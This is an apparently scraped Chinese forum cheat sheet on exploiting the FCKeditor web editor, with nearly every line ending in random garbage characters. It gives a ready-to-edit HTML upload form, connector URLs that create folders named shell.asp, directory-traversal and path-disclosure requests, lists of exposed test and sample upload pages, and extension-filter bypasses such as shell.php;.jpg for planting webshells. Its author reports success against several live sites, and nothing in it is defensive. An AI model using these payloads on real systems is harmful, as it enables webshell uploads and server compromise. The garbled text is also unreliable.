Fckeditor漏洞利用总结 / G* x* I" n/ q0 W- @; y; E( l
查看编辑器版本& c0 b- c- J; g+ u2 b k
FCKeditor/_whatsnew.html
7 U) D4 \9 A7 b1 j8 T: O' y—————————————————————————————————————————————————————————————$ R) N$ f' I- B0 {* a1 `' i3 L
( f7 Y& A3 D& k x0 C) ]
2. Version 2.2 版本
; N" w/ n6 e+ h& _Apache+linux 环境下在上传文件后面加个.突破!测试通过。0 m& O6 s! B/ E S; `3 k
—————————————————————————————————————————————————————————————
1 T. j5 }3 B) J2 \" d) U: p
3 H) D2 ]% D+ w# }% L3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
; @+ P5 D) X( r5 H8 Y# G' F3 J+ f<form id="frmUpload" enctype="multipart/form-data"& @2 O0 I# G. B( E2 s& B/ w! R
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>$ D9 Z( `8 d: ^1 \4 |
<input type="file" name="NewFile" size="50"><br>" @, Z0 o6 `$ }7 [ q- G3 O! s
<input id="btnUpload" type="submit" value="Upload">
( b9 D5 N) b, j; M</form>% n, }: X+ q; N+ z; C4 U0 j$ {
—————————————————————————————————————————————————————————————
5 b$ ]0 ~% I3 V4 P& ?! C6 @: A
" t- @6 q" l% b# K1 B A4.FCKeditor 文件上传“.”变“_”下划线的绕过方法5 s) ?& x; U/ T9 p m3 n
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
+ F9 k4 c7 Q# R# J3 X1 r8 h& l 4.1:提交shell.php+空格绕过
, `7 T* L! L( P& U6 j% P/ V不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
7 m2 ]5 q* h7 K | b, n 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
6 r( Z1 U/ e9 k9 {! p—————————————————————————————————————————————————————————————
1 @4 K4 V$ y7 B6 ~9 d3 l$ ~/ H: _
5. 突破建立文件夹
4 [; _* ]5 h# @6 W% `# \+ HFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
i t+ [1 @, i2 A1 U# yFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp: }# d' C2 `# C, J0 h- j
—————————————————————————————————————————————————————————————
2 K+ d8 O$ h! Y# Q: ]! l- F$ I* W9 o5 K( u. D
6. FCKeditor 中test 文件的上传地址, } w' O8 t6 a
FCKeditor/editor/filemanager/browser/default/connectors/test.html
/ M7 j8 B% `- ~& pFCKeditor/editor/filemanager/upload/test.html
3 l$ S& {- j# e) H7 U( D. P! X- D( @FCKeditor/editor/filemanager/connectors/test.html$ v# X: L/ X: t. u& w
FCKeditor/editor/filemanager/connectors/uploadtest.html
* X; Y& `7 j0 h" \4 _. A6 K" ^0 ]# o—————————————————————————————————————————————————————————————
4 @% k% m- ~$ i: M$ c4 Y+ Y7 y( m! Q) i9 X' a) B* D
7.常用上传地址3 |0 ^6 ]: ~1 K" ^
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/9 ^1 p9 A1 a* y4 ~3 R) e
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
1 l# }. t9 T2 q; e/ BFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. @0 K) }( M0 T1 eJSP 版:
/ S2 i. @; p" \5 l5 d! UFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp6 L8 t: h' N% n1 c
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
+ p% ?: m+ q1 a) m5 J1 E/ U件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。/ c& M4 Y* }* w& F w" l
—————————————————————————————————————————————————————————————: Z& y& A: Z: d3 N8 s) u5 j
' \+ t3 @! t [- s8.其他上传地址& m; q- e0 y2 M2 q) a8 \4 R) I
FCKeditor/_samples/default.html! h. Z7 ~6 e! N" T4 M" n5 Z
FCKeditor/_samples/asp/sample01.asp
0 N( s9 J9 i' D9 X' G- k6 LFCKeditor/_samples/asp/sample02.asp
7 ~: _, Q8 H5 _/ i6 RFCKeditor/_samples/asp/sample03.asp
2 a3 Z1 n: B5 a; [8 j$ _FCKeditor/_samples/asp/sample04.asp0 C2 W, k* d: Q/ l1 q1 k* k% `
一般很多站点都已删除_samples 目录,可以试试。
6 y* v: e9 T6 T/ {FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。! P% b+ D$ k' ~
—————————————————————————————————————————————————————————————3 A/ }2 ~3 r# n0 c2 L
/ M4 @7 ~; w- {. J
9.列目录漏洞也可助找上传地址
. U& [' o2 B( J2 D; g- p5 w% I4 |Version 2.4.1 测试通过4 T9 k7 A% R- D. @, x$ C
修改CurrentFolder 参数使用 ../../来进入不同的目录, _5 c0 i+ j* t1 p+ L, w
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp, u( t+ }1 s. {! e9 g, g3 C
根据返回的XML 信息可以查看网站所有的目录。' Y9 b4 ^9 K- h, w9 N6 ]
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
( [1 O- ~1 z+ D4 E! P: c6 |% I' o也可以直接浏览盘符:& X- y5 f) A1 |! [' m
JSP 版本:
& n$ R& i" o' x1 w! j, W qFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F5 v8 L$ i% j6 G
—————————————————————————————————————————————————————————————
% `* T& b0 G( c2 r% o9 [) @8 Y4 E$ _- u
10.爆路径漏洞; ]% ` @4 e5 {7 L
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp$ ]8 \9 |: T, k/ k
—————————————————————————————————————————————————————————————+ ~* B' W& o$ Y5 p+ a% J4 [
7 I' X9 |; i! |" J# _
11. FCKeditor 被动限制策略所导致的过滤不严问题% g+ ]1 t5 @2 R+ [" Q4 t
影响版本: FCKeditor x.x <= FCKeditor v2.4.39 o% }! @! n) L
脆弱描述:
8 _) L8 V. w/ o2 W" @6 e" FFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
6 i4 h% f' v- `7 y3 H0 a- Lhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm( ~: |+ |3 z0 F2 x
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
! w& z7 S, Y, Y4 m2 M% n* y! \, T 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
1 r4 e' I0 e+ u6 a 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!+ W d) m+ i! k0 C3 X% B1 t
—————————————————————————————————————————————————————————————1 C$ a/ o, f; x; ]5 l+ @
' `3 K* }7 O' W4 V8 Y
12.最古老的漏洞,Type文件没有限制!
" T$ Y( ~3 {- F 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
* ]7 v7 M# @% z. h—————————————————————————————————————————————————————————————( z$ W( J+ ^# v: q6 z3 s
* d; |! n) f. P! p( k) ?
===============================================================================================================================================
. j/ h: R. ?& y- ?% [- {9 a! E- g! c( B& Q8 J5 O# f
FCK编辑器jsp版本漏洞: A9 S0 o- g8 @2 \
4 f1 d1 k! P7 D% Q
7 g: ^1 d4 v) Whttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 z/ ^7 \* V( a4 u4 u, b8 H
% }2 q1 p7 R! {4 F+ u+ c上传马所在目录- o, h2 i/ U, ^- }4 b4 G
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
8 Y3 Z. v% l8 M; I! S) n6 K& {上传shell的地址:, q; K0 b N' K- Y0 r$ g" o
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector* w! `( S7 f( `6 D; e5 M* D
跟版本有关系.并不是百分百成功. 测试成功几个站.
2 {. s7 Q1 ]/ v3 d不能通杀.很遗憾.# ^, T) N# F* B/ x
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector6 f6 J+ K( b: }, U, Z, K
如果以上地址不行可以试试4 H6 d0 g9 C" G$ Q k2 \" Q) r7 l
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector5 t% ?- G2 J2 H5 U+ f. S
FCKeditor/_samples/( X3 S( g, t6 C0 {: B( T
FCKeditor/_samples/default.html% Q2 U, e7 D. b$ q+ R1 e' w
FCKeditor/editor/fckeditor.htm: b5 |! B4 m# C h
FCKeditor/editor/fckdialog.html
8 M: K+ }% O6 d, ^" j& B L
$ y( J) `4 B5 q; k) _2 ?0 S
e, ^1 x8 a( m! y
4 Q& U2 U6 A+ g2 q解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
% Y! E& G/ \+ r4 r8 U |